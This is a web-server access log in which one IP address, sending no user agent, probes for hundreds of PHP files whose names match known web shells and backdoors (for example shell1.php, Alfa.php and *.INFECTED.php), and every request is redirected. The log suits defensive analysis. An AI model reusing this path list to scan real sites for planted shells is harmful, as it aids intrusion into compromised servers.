196.251.80.56 - - [23/Sep/2025:14:26:21 -0400] "GET /mufmtr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:23 -0400] "GET /nOmgm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:26 -0400] "GET /class-wp-block-template-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:28 -0400] "GET /Author-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:30 -0400] "GET /rss-functions-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:34 -0400] "GET /1xvsm.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:39 -0400] "GET /class-requests-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:41 -0400] "GET /Session-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:45 -0400] "GET /zckdlqzd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:55 -0400] "GET /options-backup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:05 -0400] "GET /class-wp-customize-control-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:13 -0400] "GET /bbtqtaqhju.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:16 -0400] "GET /1207_a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:17 -0400] "GET /ez7bl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:20 -0400] "GET /text-two-columns-with-images-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:34 -0400] "GET /db.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:46 -0400] "GET /indeh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:48 -0400] "GET /post-template-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:56 -0400] "GET /script-loader-packages.min.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:00 -0400] "GET /class-wp-customize-control-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:06 -0400] "GET /class-wp-http-curl-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:14 -0400] "GET /post-formats-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:17 -0400] "GET /user-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:22 -0400] "GET /ms-network-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:27 -0400] "GET /RxR_xmeidnkn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:29 -0400] "GET /template-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:32 -0400] "GET /Cache-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:54 -0400] "GET /atomlib-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:01 -0400] "GET /template-loader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:05 -0400] "GET /class-wp-tax-query-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:07 -0400] "GET /ms-default-filters-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:10 -0400] "GET /class-wp-oembed-controller-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:40 -0400] "GET /date-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:47 -0400] "GET /wlzfgnjm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:52 -0400] "GET /uplo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:55 -0400] "GET /script-loader-packages.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:25:58 -0400] "GET /Enclosure-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:12 -0400] "GET /6pMne.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:32 -0400] "GET /teadq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:37 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:48 -0400] "GET /class-wp-customize-image-control-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:50 -0400] "GET /id.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:53 -0400] "GET /class-wp-term-query-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:26:58 -0400] "GET /http-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:01 -0400] "GET /class-wp-content.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:08 -0400] "GET /ozVv5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:10 -0400] "GET /2015.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:24 -0400] "GET /theme-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:27 -0400] "GET /class-feed-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:30 -0400] "GET /4AQy9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:33 -0400] "GET /R00T.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:38 -0400] "GET /gu1ja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:41 -0400] "GET /ms-network-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:43 -0400] "GET /class-wp-user-request-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:52 -0400] "GET /__v22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:54 -0400] "GET /oldindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:27:57 -0400] "GET /cast_to_int-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:01 -0400] "GET /class-wp-http-response-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:04 -0400] "GET /class-json-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:05 -0400] "GET /iunorwkokd.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:11 -0400] "GET /IDNAEncoder-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:12 -0400] "GET /class-wp-customize-control-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:19 -0400] "GET /siteindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:34 -0400] "GET /Locator-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:37 -0400] "GET /zoimwpcn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:41 -0400] "GET /class-wp-recovery-mode-email-service-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:44 -0400] "GET /class-wp-widget-meta-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:46 -0400] "GET /feed-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:49 -0400] "GET /traitement.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:52 -0400] "GET /autoload-php7-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:28:58 -0400] "GET /sddf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:14 -0400] "GET /class-wp-block-supports-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:17 -0400] "GET /upg_form_personal_post_form.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:23 -0400] "GET /error_polyfill-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:29 -0400] "GET /header-embed-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:31 -0400] "GET /rewrite-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:38 -0400] "GET /sukabev.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:41 -0400] "GET /post-new.php_.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:45 -0400] "GET /IRI-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:54 -0400] "GET /class-simplepie-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:01 -0400] "GET /class-wp-customize-header-image-control-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:04 -0400] "GET /blocks-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:06 -0400] "GET /class-wp-customize-filter-setting-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:16 -0400] "GET /qabnu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:23 -0400] "GET /class-wp-customize-header-image-control-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:32 -0400] "GET /class-wp-widget-search-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:35 -0400] "GET /shell1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:38 -0400] "GET /class-walker-page-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:47 -0400] "GET /wp-caches.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:51 -0400] "GET /gzdecode-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:17 -0400] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:19 -0400] "GET /WBBPQ.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:28 -0400] "GET /random_bytes_libsodium-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:31 -0400] "GET /ms-blogs-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:34 -0400] "GET /upup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:45 -0400] "GET /ANsqk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:49 -0400] "GET /0IJm2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:53 -0400] "GET /new-63513a8f597e8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:02 -0400] "GET /asdasdf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:05 -0400] "GET /global-styles-and-settings.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:07 -0400] "GET /0iWhh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:10 -0400] "GET /class-wp-page-query.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:18 -0400] "GET /wp-crons.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:23 -0400] "GET /class-wp-session-href.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:40 -0400] "GET /class-wp-widgets.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:47 -0400] "GET /d3s.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:54 -0400] "GET /media.php.INFECTED.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:58 -0400] "GET /newup.php HTTP/1.1" 301 795 "-" "-"
18.170.53.175 - - [23/Sep/2025:14:33:04 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:29:20 -0400] "GET /random_bytes_dev_urandom-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:26 -0400] "GET /query-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:34 -0400] "GET /addnewpage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:43 -0400] "GET /class-wp-filesystem.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:44 -0400] "GET /komxzer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:47 -0400] "GET /nana.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:48 -0400] "GET /Author-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:29:50 -0400] "GET /new-63513cbfbd8d5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:10 -0400] "GET /https-detection-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:20 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:26 -0400] "GET /IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:29 -0400] "GET /mntp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:42 -0400] "GET /class-wp-customize-filter-setting-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:45 -0400] "GET /wp-8irnt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:53 -0400] "GET /feed-rss-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:30:57 -0400] "GET /sitne.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:01 -0400] "GET /pp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:08 -0400] "GET /alfa_ssi.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:10 -0400] "GET /SSL-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:14 -0400] "GET /view.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:20 -0400] "GET /ycyryl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:21 -0400] "GET /Session-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:22 -0400] "GET /class-wp-post-type-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:25 -0400] "GET /Caption-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:37 -0400] "GET /prayer_intentions.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:39 -0400] "GET /class-wp-customize-partial-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:42 -0400] "GET /jpPy0.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:31:57 -0400] "GET /class-wp-date-query-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:12 -0400] "GET /class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:14 -0400] "GET /class-wp-page-w4R3uG.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:21 -0400] "GET /agTOMuSfW6r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:26 -0400] "GET /class-wp-widget-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:28 -0400] "GET /iHgph8AoDwa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:30 -0400] "GET /inat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:33 -0400] "GET /class-wp-admin-plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:37 -0400] "GET /ivq6847cg2index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:42 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:50 -0400] "GET /preg_class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:53 -0400] "GET /remv.php.INFECTED.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:32:56 -0400] "GET /round.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:01 -0400] "GET /embed-wp.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:14:33:04 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:14:33:05 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:33:05 -0400] "GET /maint.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:14 -0400] "GET /profile_transport.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:37 -0400] "GET /wp-bapbc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:39 -0400] "GET /ssdfhys.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:41 -0400] "GET /fgetc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:45 -0400] "GET /importuri2.edit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:51 -0400] "GET /update_with_pics.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:54 -0400] "GET /vhsack.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:57 -0400] "GET /AddFamily.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:04 -0400] "GET /j2peke.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:08 -0400] "GET /Mhbgf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:12 -0400] "GET /wp-srzsd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:14 -0400] "GET /class-wp-pagebuilders-0dFz6U.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:17 -0400] "GET /IRI-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:22 -0400] "GET /aanmelden_evenement.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:29 -0400] "GET /init-core-rss.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:30 -0400] "GET /wp-coomments-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:32 -0400] "GET /class-wp-ms-remove-table.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:34 -0400] "GET /repair_syslog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:36 -0400] "GET /upload.php.INFECTED.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:38 -0400] "GET /config.walker-conf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:49 -0400] "GET /i840.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:54 -0400] "GET /esta4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:02 -0400] "GET /pro.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:06 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:15 -0400] "GET /token_get_all.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:20 -0400] "GET /wp-czfnv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:22 -0400] "GET /abs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:25 -0400] "GET /config_xml_system.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:29 -0400] "GET /bookmarks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:44 -0400] "GET /txjazosadh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:50 -0400] "GET /2afo41.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:52 -0400] "GET /a2v05cxhj9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:54 -0400] "GET /swell-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:00 -0400] "GET /block-loader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:04 -0400] "GET /CB.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:07 -0400] "GET /cllsehvx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:13 -0400] "GET /cb.php HTTP/1.1" 301 795 "-" "-"
193.239.84.56 - - [23/Sep/2025:14:33:05 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:33:07 -0400] "GET /class-wp-pagebuilders-k2JUwg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:12 -0400] "GET /strripos.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:17 -0400] "GET /fill.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:20 -0400] "GET /uber_uploader_file.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:24 -0400] "GET /leafmailer-encoded.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:27 -0400] "GET /session_module_name.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:32 -0400] "GET /module.tag.idv1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:34 -0400] "GET /class-wp-pagebuilders-5mOldR.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:33:49 -0400] "GET /class-wp-pagebuilders-tmSW4Z.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:00 -0400] "GET /array_diff.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:19 -0400] "GET /spn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:27 -0400] "GET /lang-inc-conf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:33 -0400] "GET /netway45.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:40 -0400] "GET /codemirror_controls.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:43 -0400] "GET /config.site-nva.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:46 -0400] "GET /class-wp-pagebuilders-A9r6jW.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:52 -0400] "GET /dist-site-role.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:57 -0400] "GET /gulo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:34:59 -0400] "GET /wp-ebvry.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:04 -0400] "GET /emailtest.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:10 -0400] "GET /ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:17 -0400] "GET /tvr8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:32 -0400] "GET /wp-go.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:35 -0400] "GET /variant_round.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:38 -0400] "GET /domsradio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:41 -0400] "GET /img_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:47 -0400] "GET /asin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:35:57 -0400] "GET /class-wp-widget-links.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:09 -0400] "GET /coinbase.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:23 -0400] "GET /admin-header.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:30 -0400] "GET /wp-4gub9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:38 -0400] "GET /psmyl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:43 -0400] "GET /edit-links.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:48 -0400] "GET /Gas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:52 -0400] "GET /Gecko_gecko-new.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:36:58 -0400] "GET /Ghost.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:37:01 -0400] "GET /Glory.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:37:05 -0400] "GET /GreyHat.php HTTP/1.1" 301 795 "-" "-"
